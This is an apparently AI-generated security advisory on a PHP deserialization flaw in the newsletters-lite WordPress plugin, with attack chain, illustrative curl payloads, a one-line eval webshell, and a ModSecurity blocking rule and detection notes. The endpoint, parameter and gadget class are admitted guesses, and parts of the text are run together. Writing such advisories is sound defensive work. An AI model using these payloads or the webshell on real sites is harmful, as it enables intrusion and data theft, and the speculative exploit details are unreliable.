CVE-2026-141047 — CWE-502
Deserialization of Untrusted Data vulnerability in Tribulant Software Newsletters newsletters-lite allows Object Injection.This issue affects Newsletters: from n/a before 4.18.3.
Deserialization of Untrusted Data vulnerability in Tribulant Software Newsletters newsletters-lite allows Object Injection.This issue affects Newsletters: from n/a before 4.18.3.
🎯 What is this vulnerability?
This vulnerability is a Deserialization of Untrusted Data (CWE-502) flaw within the Tribulant Software Newsletters plugin (specifically the newsletters-lite component) for WordPress.
Technical Flaw Analysis:
The core issue is that the plugin accepts serialized PHP objects from an unauthenticated user via a network request without performing adequate validation or sanitization. In PHP, unserialize() is a dangerous function because it can reconstruct complex object structures. If an attacker can control the serialized string, they can inject specific class instances (Object Injection) that contain "magic methods" (such as __wakeup(), __destruct(), or __toString()) or properties that trigger code execution when the object is instantiated or destroyed.
CVSS Vector Interpretation:
- AV:N / AC:L / PR:N / UI:N: The vulnerability is exploitable remotely over the network with low complexity, requires no authentication (unauthenticated), and requires no user interaction.
- C:H / I:H / A:H: Successful exploitation leads to full compromise of Confidentiality, Integrity, and Availability. This indicates that the deserialization leads directly to Remote Code Execution (RCE), allowing the attacker to read any file, modify any data, or delete the entire site.
- Fingerprinting: An attacker scans for WordPress sites using the
newsletters-liteplugin. This can be done by checking thewp-content/plugins/newsletters-lite/directory or looking for specific CSS/JS assets associated with the plugin. - Version Verification: The attacker checks the plugin's version file (e.g.,
newsletters-lite.phpheader orreadme.txt) to confirm the version is < 4.18.3. - Endpoint Identification: Since the exact endpoint is not specified in the CVE description, the attacker would fuzz common WordPress AJAX endpoints (
/wp-admin/admin-ajax.php) or plugin-specific REST API routes. The vulnerable parameter is likely a POST parameter that the plugin processes for newsletter subscription, management, or data retrieval.
Critical Note on "Object Injection":
The CVE description explicitly mentions "Object Injection." This implies the attacker is not just passing a simple string, but a serialized PHP object structure. The vulnerability exists because the plugin likely calls unserialize($_POST['param']) or similar on a user-controlled input field without checking if the resulting object is of an expected, safe type.
⚡ Attack Chain
1. Discovery & Reconnaissance
2. Exploitation
The attacker crafts a malicious serialized PHP object. The specific class used depends on the PHP version and available classes in the WordPress core or other installed plugins. A common gadget chain for RCE in WordPress environments involves classes likeWP_Post, WP_User, or third-party classes that trigger file writes or command execution.Illustrative PoC (Conceptual):
Note: The exact parameter name and endpoint are not provided in the CVE description. The following is an illustrative example of how such a payload is structured and delivered.
Assume the vulnerable endpoint is /wp-admin/admin-ajax.php and the parameter is action or a custom parameter like newsletter_data.
Step 1: Craft the Payload
The attacker creates a serialized object that, when unserialized, triggers code execution. For example, if a vulnerable class VulnerableClass has a __destruct() method that executes system($this->cmd):
<?php
class VulnerableClass {
public $cmd;
public function __destruct() {
system($this->cmd);
}
}
$obj = new VulnerableClass();
$obj->cmd = "id > /tmp/pwned.txt";
echo serialize($obj);
?>The resulting serialized string would look like:O:16:"VulnerableClass":1:{s:3:"cmd";s:18:"id > /tmp/pwned.txt";}
Step 2: Deliver the Payload
The attacker sends an HTTP POST request to the vulnerable endpoint.
# Illustrative curl command
# Replace 'VULNERABLE_PARAM' with the actual parameter name identified during fuzzing
curl -X POST "https://target-site.com/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=newsletters_lite_process" \
-d "VULNERABLE_PARAM=O:16:\"VulnerableClass\":1:{s:3:\"cmd\";s:18:\"id > /tmp/pwned.txt\";}"If the endpoint is a REST API route:
curl -X POST "https://target-site.com/wp-json/newsletters-lite/v1/endpoint" \
-H "Content-Type: application/json" \
-d '{"data": "O:16:\"VulnerableClass\":1:{s:3:\"cmd\";s:18:\"id > /tmp/pwned.txt\";}"}'3. Post-Exploitation
Once the RCE is achieved: 1. Webshell Deployment: The attacker modifies the command to write a PHP webshell to a writable directory (e.g.,wp-content/uploads/).$obj->cmd = "echo '<?php @eval(\$_POST[\"cmd\"]);' > /var/www/html/wp-content/uploads/shell.php";2. Persistence: The attacker can add a backdoor to the plugin's code or create a new admin user via the WordPress API.
3. Data Exfiltration: The attacker accesses the wp-config.php file to retrieve database credentials and exfiltrates the entire database.
4. Lateral Movement: Using the compromised server, the attacker scans the internal network for other vulnerable services.
🌍 Real World Impact
wp-config.php) exposes database credentials and API keys.Practical Consequences:
🛡️ Remediation & Mitigation
1. Immediate Upgrade
newsletters-lite) before 4.18.3.2. Workarounds (If Immediate Update is Not Possible)
SecRule REQUEST_BODY "@rx O:[0-9]+:\"[^\"]+\"" \
"id:100001,phase:2,deny,status:403,msg:'Blocked potential PHP deserialization attack',log"* Note: This rule blocks any POST body containing the pattern O:digit:"string", which is characteristic of serialized PHP objects. It may cause false positives if legitimate data contains this pattern, so it should be used with caution.
3. Detection
O: (serialized object marker).POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
...
action=newsletters_lite_process&VULNERABLE_PARAM=O%3A16%3A%22VulnerableClass%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A18%3A%22id+%3E+%2Ftmp%2Fpwned.txt%22%3B%7Dwp-content/plugins/newsletters-lite/ directory or the creation of new PHP files in writable directories (e.g., wp-content/uploads/).www-data) executing shell commands like id, whoami, curl, or wget.⚠️ Urgency
newsletters-lite < 4.18.3 is at imminent risk of compromise.
* Action: Update the plugin to 4.18.3 or later within 24 hours. If the site is high-value or handles sensitive data, treat this as an emergency incident and consider taking the site offline until patched.[🤖 CVE Professor AI Security Engine]